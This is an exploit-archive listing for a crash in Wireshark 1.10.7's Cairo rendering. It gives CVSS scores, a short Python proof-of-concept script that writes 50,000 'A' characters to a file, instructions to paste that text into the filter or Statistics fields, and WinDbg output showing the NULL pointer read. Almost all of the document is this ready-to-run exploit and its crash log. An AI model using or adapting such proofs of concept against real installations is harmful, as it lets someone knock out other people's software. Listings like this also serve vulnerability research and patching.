Wireshark Read Access Violation NULL Pointer Deref

2014-05-17 / 2014-07-30
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-Other


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

#!/usr/bin/python # Exploit Title: Wireshark Read Access Violation near NULL starting at libcairo_2!cairo_image_surface_get_data() # Date: May 15th 2014 # Author: Osanda Malith Jayathissa # E-Mail: osandajayathissa<[at]>gmail.com # Version: 1.10.7 32-bit and 64-bit # Vendor Homepage: http://www.wireshark.org # Tested on: Windows 8 64-bit ''' The issue is with the cairo_image_surface_get_data() function in Cairo. These fields are vulnerable: - Filter text box - Statistics -> IP DESTINATIONS - Statistics -> IP Addresses Paste the generated text in any one of above fields and hit return. ''' payload = "A" * 50000 file = open('exploit.txt', "w") file.write(payload) file.close() ''' *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Wireshark32\libcairo-2.dll - eax=00000000 ebx=052dabf0 ecx=77bc2ad2 edx=612fc6e0 esi=00000000 edi=612fc6e0 eip=61291737 esp=008cdca0 ebp=00000000 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 libcairo_2!cairo_image_surface_get_data+0x7: 61291737 8138609d2f61 cmp dword ptr [eax],offset libcairo_2!cairo_tee_surface_index+0xd080 (612f9d60) ds:002b:00000000=???????? '''


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